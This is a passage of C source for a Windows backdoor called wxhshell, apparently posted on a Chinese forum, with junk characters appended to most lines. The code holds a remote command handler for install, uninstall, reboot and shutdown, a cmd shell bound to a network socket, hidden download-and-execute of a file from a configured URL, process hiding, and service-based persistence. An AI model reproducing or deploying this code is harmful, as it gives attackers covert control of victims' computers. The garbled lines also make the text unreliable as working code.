  case '?': { ~,Mr0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mi D  
    break; NDW8~lkL  
  } w`Xg%*]}  
  // 安装 ^Y<M~K972  
  case 'i': { tQf!|]#J  
    if(Install()) a 8-;   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U#"WrWj  
    else qZ?{-Vw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x _|>n<Z  
    break; &%:*\_2s  
    } oVEAlBm^v  
  // 卸载 -$m@*L  
  case 'r': { /.)2d8,  
    if(Uninstall()) & qL<C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #{~7G%GPY5  
    else khS/'b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oB}K[3uB:t  
    break; OaNc9c"  
    } ?q6Z's[  
  // 显示 wxhshell 所在路径 xfes_v""  
  case 'p': { #~*XDWvIS~  
    char svExeFile[MAX_PATH]; Z?C4a }  
    strcpy(svExeFile,"\n\r"); Yg|"-  
      strcat(svExeFile,ExeFile); uDI}R]8~  
        send(wsh,svExeFile,strlen(svExeFile),0); ? KF=W  
    break; -[<vYxX:h:  
    } +i4P,Lp  
  // 重启 H}a)^90_  
  case 'b': { Mb~~A5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9PCa*,  
    if(Boot(REBOOT)) a>?p.!BM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?4MSgu  
    else {  kMqD iJ  
    closesocket(wsh); PJ0Jjoh"Y  
    ExitThread(0); cp|:8 [  
    } =kF? _KN  
    break; qr9Imr0w<  
    } \d ui`F"Cc  
  // 关机 9D%qXU  
  case 'd': { l_ZO^E~D_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pqOA/^ar  
    if(Boot(SHUTDOWN)) r:.6"VQu}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %B0w~[!4}  
    else { _Ws#UL+Nq  
    closesocket(wsh); m}rh|x/?  
    ExitThread(0); ,5=kDw2  
    } wFp~  
    break; gUu&Vy\  
    } A3<^ U  
  // 获取shell xl|ghjn  
  case 's': { 89db5Dx  
    CmdShell(wsh); 7 T mK  
    closesocket(wsh); '1Y<RD>x  
    ExitThread(0); 5d%_Wb'  
    break; t[/\KG8  
  } G I&qwA  
  // 退出 Oe/73| >U  
  case 'x': { BB0g}6M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "-28[a3q  
    CloseIt(wsh); 219R&[cb  
    break; nrI"k2oA@  
    } 6W]OpM  
  // 离开 `!<x"xKu  
  case 'q': { bG "6pU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +jv }\Jt  
    closesocket(wsh); FLK"|*A  
    WSACleanup(); N/(ofy  
    exit(1); =A$Lgk>|  
    break; H]VsOr  
        } .zQ4/  
  } 1bT' u5&  
  } sN"p5p  
$  9S>I'  
  // 提示信息 E1^aAlVSD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3L?WTS6(u  
} zoR,RBU6  
  } ! Zno[R  
M\9at\$  
  return; &qNP?>C!=  
} i<'{Y  
/]pX8 d  
// shell模块句柄 +GRxHuW,  
int CmdShell(SOCKET sock) {bW"~_6}  
{ LQ~LB'L  
STARTUPINFO si; 2;dM:FHLhO  
ZeroMemory(&si,sizeof(si)); X77A; US  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v!nm &"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <GSQ2bX[  
PROCESS_INFORMATION ProcessInfo; Lr K9F^c  
char cmdline[]="cmd"; @QvfN>T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q~x*bMb.  
  return 0; :yd=No@  
} s.<olxXRW  
7^n,Ti g  
// 自身启动模式 s'R~ r  
int StartFromService(void) We[<BJ o4  
{ 9vB9k@9  
typedef struct +I^+k"  
{ 1-4   
  DWORD ExitStatus; OJnPP>  
  DWORD PebBaseAddress; ['/;'NhdlY  
  DWORD AffinityMask; ju8',ZC  
  DWORD BasePriority; plzE  
  ULONG UniqueProcessId; L+v8E/W  
  ULONG InheritedFromUniqueProcessId; 71K\.[ =-  
}   PROCESS_BASIC_INFORMATION; L#@l(8.  
c2tEz&=G  
PROCNTQSIP NtQueryInformationProcess; OI)&vQ5k  
;m-6.AV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 113Z@F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N{?Tm`""  
`=_7I?  
  HANDLE             hProcess; 4U}.Skzq  
  PROCESS_BASIC_INFORMATION pbi; dL1~]Z y  
l=Lmr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jrDz7AfA  
  if(NULL == hInst ) return 0; ,\.YJD>z  
U)&H.^@r$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MsN2A6|33  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $K=K?BV[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u.ULS3`C/X  
u i s:\Uc  
  if (!NtQueryInformationProcess) return 0; 'DaNR`9  
&xPOp$Sx~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {jj]K.&  
  if(!hProcess) return 0; Vvxc8v:  
4<=eK7;XR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @c.11nfn`  
, V0iMq  
  CloseHandle(hProcess);  ` 4s#5g  
*#X+Gngo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); avYh\xZ  
if(hProcess==NULL) return 0; lW{I`r\]  
IqR[&T)lj  
HMODULE hMod; `<]P"G  
char procName[255]; (hD X4;4  
unsigned long cbNeeded; KD[)O7hYC  
|THkS@Br  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -o! saX<  
g4BwKENM  
  CloseHandle(hProcess); ;ph+ZV  
^*$WZMMJ1  
if(strstr(procName,"services")) return 1; // 以服务启动 #R"9)vHp  
I(iGs I  
  return 0; // 注册表启动  RU3_Fso  
} MSxU>FX0  
s5_1}KKCs  
// 主模块 !VJT"Ds_  
int StartWxhshell(LPSTR lpCmdLine) H4K(SGx  
{ @E&X &F%  
  SOCKET wsl; ;&7qw69k  
BOOL val=TRUE; D 9@<#2-  
  int port=0; #=)?s 8T  
  struct sockaddr_in door; ( S C7m /  
3!ajvSOI9j  
  if(wscfg.ws_autoins) Install(); r`mzsO-'  
YV2pERl  
port=atoi(lpCmdLine); Yp?a=R  
O(c4iWm  
if(port<=0) port=wscfg.ws_port; 6 ^6uK  
-Y!=Iw 4  
  WSADATA data; 2_ZHJ,r   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %oSfL;W7  
Q xj|lr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D%5 {A=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); do :RPZ!  
  door.sin_family = AF_INET; K7d1(.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R,(+NT$  
  door.sin_port = htons(port); +wPvQKVfI  
s]V{}bY`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;Kq<',u~  
closesocket(wsl); e-T9HM&%P  
return 1; 1nX68fS.9  
} ":ws~Zep  
:`!mCW`Q-  
  if(listen(wsl,2) == INVALID_SOCKET) { ,M9hb<:m  
closesocket(wsl); }!J/ 9WKgU  
return 1; /fcwz5~  
}  (t]R#2{  
  Wxhshell(wsl); [))2u:tbS\  
  WSACleanup(); \ [hrG?A  
%Tm' aY"  
return 0; `(w kqa  
.jG.90  
} (HP={MrV  
8mQd*GGu1  
// 以NT服务方式启动 v2dSC(hRZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qkyX*_}  
{ 5D q{"@E  
DWORD   status = 0; dsft=t8s  
  DWORD   specificError = 0xfffffff; B+e~k?O]1  
;tIIEc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "MVN /Gl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X#\P.$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lf7H8k,-  
  serviceStatus.dwWin32ExitCode     = 0; 9DocId.  
  serviceStatus.dwServiceSpecificExitCode = 0; 4QN6BZJ5  
  serviceStatus.dwCheckPoint       = 0; 4 9+}OIX  
  serviceStatus.dwWaitHint       = 0; BM}a?nnoc  
M. UUA?d<'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @rDv (W  
  if (hServiceStatusHandle==0) return; 8i+jFSZ$  
#IciNCIrG  
status = GetLastError(); 5Qe}v  
  if (status!=NO_ERROR) h: (l+jr  
{ l>Oe ,`9O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I[YfF  
    serviceStatus.dwCheckPoint       = 0; ]`+"o[  
    serviceStatus.dwWaitHint       = 0; Zp P6Q  
    serviceStatus.dwWin32ExitCode     = status; ?eZ"UGZg'  
    serviceStatus.dwServiceSpecificExitCode = specificError; >5YYij5Aj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )}k`X<~k  
    return; s?gXp{O?X  
  } jl|X$w  
# v/aI*Rl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -1Ki7|0,  
  serviceStatus.dwCheckPoint       = 0; I5AjEp  
  serviceStatus.dwWaitHint       = 0; EC&19  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "q#g/T  
} JZ*?1S>  
k1  txY  
// 处理NT服务事件,比如:启动、停止 =dJEcC_J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1 bx^Pt)  
{ c[e GpZ]  
switch(fdwControl) .M#>@~XR  
{ 3_['[}  
case SERVICE_CONTROL_STOP: ]4pC\0c  
  serviceStatus.dwWin32ExitCode = 0; 9hi(P*%q   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b+fy&rk@-  
  serviceStatus.dwCheckPoint   = 0; ny;)+v?mN\  
  serviceStatus.dwWaitHint     = 0; >!WBl Sy  
  { D_`)T;<Sp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a~+WL  
  } 5L'@WB|{4u  
  return; 7*W$GCd8  
case SERVICE_CONTROL_PAUSE: a}8>(jtSt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &rE l  
  break; b8xfV{3L  
case SERVICE_CONTROL_CONTINUE: A-NC,3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j-\^ }K.&  
  break; bqLYF[#T  
case SERVICE_CONTROL_INTERROGATE: !haXO  
  break; ZtZV:re=  
}; oHGf |  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +]2~@=<@  
} H5rNLfw '  
~V)VGGOL$v  
// 标准应用程序主函数 ;bu;t#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J};,%q_  
{ Z)>a6s$ih<  
`Y9}5p  
// 获取操作系统版本 |r!Qhb.!  
OsIsNt=GetOsVer(); w\[*_wQp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); krT!AfeV  
'g, x}6  
  // 从命令行安装 <i @jD  
  if(strpbrk(lpCmdLine,"iI")) Install(); n!,TBCNX  
8c' -eT"  
  // 下载执行文件 9!<3qx/  
if(wscfg.ws_downexe) { s%re>)=|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UmMYe4LQR  
  WinExec(wscfg.ws_filenam,SW_HIDE);  l3 Bc g  
} {@`Uf;hPAX  
<cd%n-  
if(!OsIsNt) { Tp.iRFFkP  
// 如果时win9x,隐藏进程并且设置为注册表启动 Yl3PZ*#@ Q  
HideProc(); E<[ bgL  
StartWxhshell(lpCmdLine); ?DTP-#5Ba  
} `9NnL.w!  
else [WSIC *|;  
  if(StartFromService()) H s 3*OhK\  
  // 以服务方式启动 G(,~{N||  
  StartServiceCtrlDispatcher(DispatchTable); JqIv&W  
else P_Ja?)GT  
  // 普通方式启动 6R,b 8  
  StartWxhshell(lpCmdLine); 9O_N iu0  
-s84/E4Y*  
return 0; M/I d\~  
}
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只看该作者 1 发表于: 2006-10-10
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